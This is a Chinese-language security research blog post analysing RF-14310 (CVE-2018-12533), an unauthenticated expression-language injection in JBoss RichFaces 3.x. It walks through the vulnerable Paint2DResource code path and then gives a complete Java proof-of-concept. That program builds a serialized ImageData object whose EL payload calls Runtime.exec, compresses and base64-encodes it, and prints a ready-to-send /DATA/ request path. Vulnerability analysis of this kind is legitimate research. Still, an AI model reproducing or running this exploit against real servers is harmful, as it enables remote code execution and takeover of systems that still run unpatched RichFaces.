作者:lucifaer
作者博客: https://www.lucifaer.com/
RF-14310,另一个RichFaces的漏洞,利用面要比CVE-14667广。
JBoss RichFaces 3.1.0 through 3.3.4 allows unauthenticated remote attackers to inject expression language (EL) expressions and execute arbitrary Java code via a /DATA/ substring in a path with an org.richfaces.renderkit.html.Paint2DResource$ImageData object, aka RF-14310.
根据漏洞描述,可以知道漏洞可以通过 org.richfaces.renderkit.html.Paint2DResource$ImageData
对象注入EL表达式来完成远程任意代码执行的漏洞。
这个漏洞是在CVE-2018-14667之前爆出的,CVE-2018-14667的触发流程和其非常相似所以只谈几个较为重要的点。
总体来说这个洞还是出现在 RichFaces
资源加载的地方,可以说14667是这个漏洞的另一种利用方式。
当一个资源请求被调用时就会调用 org.ajax4jsf.resource.ResourceLifecycle
类,而在该类中实现资源发送的方法是 send
,在 send
中主要的功能由 sendResource
方法实现,而在 sendResource
又存在一个关键性的 send
方法:
我们看一下 send
方法的继承类:
在CVE-2018-14667中可以使用 UserResource
的 send
触发点来执行EL表达式,而在RF-14310中是利用 Paint2DResource
来执行EL表达式的。
重复的反序列化那一部分就不再赘述,主要看触发流程。
根据0x01中的继承关系,我们直接看漏洞触发点 Paint2DResource
这个类的 send
方法:
可以看到这里的 ImageData
同样来自于 restoreData
这个方法,而这个方法同样是利用 getResourceData
来从 resourceData
映射中获取资源,而 setResourceData
的过程同样在 org.ajax4jsf.resource.InternetResourceService$serviceResource
中。
所以反序列化流程是和CVE-2018-14667相同的。
跟进 MethodBinding
的 invoke
方法:
可以看到在 MethodBinding
调用 invoke
之前, MethodBinding
就已经执行了EL表达式。也就是说可以在 ImageData
的 _paint
属性中加入我们的EL表达式,下个断点来证明我们的想法:
值得注意的是,在构造poc时,需要使用 MethodExpression
的对象,这就意味着需要附加一个针对不同Tomcat版本的ssid(serialVersionUID)。
就像0x01中所说的一样,在加载资源类时都会调用,和CVE-2018-14667不同的是,RF-14310利用时并不需要资源对象为缓存类对象,同时对于资源请求的标签没有限制,没有要求 InternetResource
必须为 userResource
:
所以说可以直接发包调用资源触发漏洞。
和CVE-2018-14667相同的部分就不重复说了,以下就谈一下写这个POC需要注意的几个点。
suid
(serialVersionUID)的限制 suid
的主要作用简单来说就是保证序列化对象与反序列化对象的一致性, 在richfaces中是调用javax.el.*来实现的,而不是调用lib中的org.jboss.el. *来实现的,所以在写poc时最好利用反射把 javax.el.MethodExpression
中的 serialVersionUID
重写一下,保证在面对不同容器版本时设置不同的 serialVersionUID
:
// tomcat8.5.24 MethodExpression serialVersionUID Long MethodExpressionSerialVersionUID = 8163925562047324656L; Class clazz = Class.forName("javax.el.MethodExpression"); Field field = clazz.getField("serialVersionUID"); field.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); field.setLong(null, MethodExpressionSerialVersionUID);
当然也可以手动导入不同版本容器的 el-api.jar
来实现。
我根据CVE-2018-14667的poc选择了:
javax.faces.component.StateHolderSaver com.sun.facelets.el.LegacyMethodBinding com.sun.facelets.el.TagMethodExpression com.sun.facelets.tag.TagAttribute org.jboss.el.MethodExpressionImpl expr = poc
这个是我觉得最简单的一个利用链了,当然在 LegacyMethodBinding
可以换成除了 ConstantMethodBinding
和 SimpleActionMethodBinding
的任意一个。
private static final
对象赋值 其实问题的关键点在于如何利用反射去给
public class public class Paint2DResource extends InternetResourceBase{ private static final class ImageData implements SerializableResource{ } }
这样的类型赋值,同时要注意到 private static final class ImageData
是没有无参,无构造函数的私有类,所以没有办法直接通过 getDeclaredClass()
直接获取。方法就是首先反射创建 Paint2DResource
对象:
Class clzz = Class.forName("org.richfaces.renderkit.html.Paint2DResource"); Class innerClazz[] = clzz.getDeclaredClasses();
这里的 getDeclaredClasses
返回 Paint2DResource
的所有构造器,之后遍历该对象中所有的构造器找到构造器名称中带有 private
的构造器,然后进行赋值操作:
for (Class c : innerClazz){ int mod = c.getModifiers(); String modifier = Modifier.toString(mod); if (modifier.contains("private")){ Constructor cc = c.getDeclaredConstructor(); cc.setAccessible(true); Object imageData = cc.newInstance(null); Field _widthField = imageData.getClass().getDeclaredField("_width"); _widthField.setAccessible(true); _widthField.set(imageData, 300);
这里需要注意 c.getDeclaredConstructor()
参数应为空说明获得的是一个无参的构造器,而 cc.newInstance(null)
参数为 null
说明实例化的是一个无构造函数的对象。
import com.sun.facelets.el.LegacyMethodBinding; import com.sun.facelets.el.TagMethodExpression; import com.sun.facelets.tag.TagAttribute; import com.sun.facelets.tag.Location; import org.ajax4jsf.util.base64.URL64Codec; import org.jboss.el.MethodExpressionImpl; import javax.faces.context.FacesContext; import javax.faces.el.MethodBinding; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.io.OutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Modifier; import java.util.zip.Deflater; public class CVE_2018_12533 { public static void main(String[] args) throws Exception{ String pocEL = "#{request.getClass().getClassLoader().loadClass(/"java.lang.Runtime/").getMethod(/"getRuntime/").invoke(null).exec(/"open /Applications/Calculator.app/")}"; // 根据文章https://www.anquanke.com/post/id/160338 Class cls = Class.forName("javax.faces.component.StateHolderSaver"); Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class); ct.setAccessible(true); Location location = new Location("", 0, 0); TagAttribute tagAttribute = new TagAttribute(location, "", "", "", "createContent="+pocEL); // 1. 设置ImageData // 构造ImageData_paint MethodExpressionImpl methodExpression = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class}); TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, methodExpression); MethodBinding methodBinding = new LegacyMethodBinding(tagMethodExpression); Object _paint = ct.newInstance(null, methodBinding); Class clzz = Class.forName("org.richfaces.renderkit.html.Paint2DResource"); Class innerClazz[] = clzz.getDeclaredClasses(); for (Class c : innerClazz){ int mod = c.getModifiers(); String modifier = Modifier.toString(mod); if (modifier.contains("private")){ Constructor cc = c.getDeclaredConstructor(); cc.setAccessible(true); Object imageData = cc.newInstance(null); // 设置ImageData_width Field _widthField = imageData.getClass().getDeclaredField("_width"); _widthField.setAccessible(true); _widthField.set(imageData, 300); // 设置ImageData_height Field _heightField = imageData.getClass().getDeclaredField("_height"); _heightField.setAccessible(true); _heightField.set(imageData, 120); // 设置ImageData_data Field _dataField = imageData.getClass().getDeclaredField("_data"); _dataField.setAccessible(true); _dataField.set(imageData, null); // 设置ImageData_format Field _formatField = imageData.getClass().getDeclaredField("_format"); _formatField.setAccessible(true); _formatField.set(imageData, 2); // 设置ImageData_paint Field _paintField = imageData.getClass().getDeclaredField("_paint"); _paintField.setAccessible(true); _paintField.set(imageData, _paint); // 设置ImageData_paint Field cacheableField = imageData.getClass().getDeclaredField("cacheable"); cacheableField.setAccessible(true); cacheableField.set(imageData, false); // 设置ImageData_bgColor Field _bgColorField = imageData.getClass().getDeclaredField("_bgColor"); _bgColorField.setAccessible(true); _bgColorField.set(imageData, 0); // 2. 序列化 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(imageData); objectOutputStream.flush(); objectOutputStream.close(); byteArrayOutputStream.close(); // 3. 加密(zip+base64) byte[] pocData = byteArrayOutputStream.toByteArray(); Deflater compressor = new Deflater(1); byte[] compressed = new byte[pocData.length + 100]; compressor.setInput(pocData); compressor.finish(); int totalOut = compressor.deflate(compressed); byte[] zipsrc = new byte[totalOut]; System.arraycopy(compressed, 0, zipsrc, 0, totalOut); compressor.end(); byte[]dataArray = URL64Codec.encodeBase64(zipsrc); // 4. 打印最后的poc String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf"; System.out.println(poc); } } } }
效果: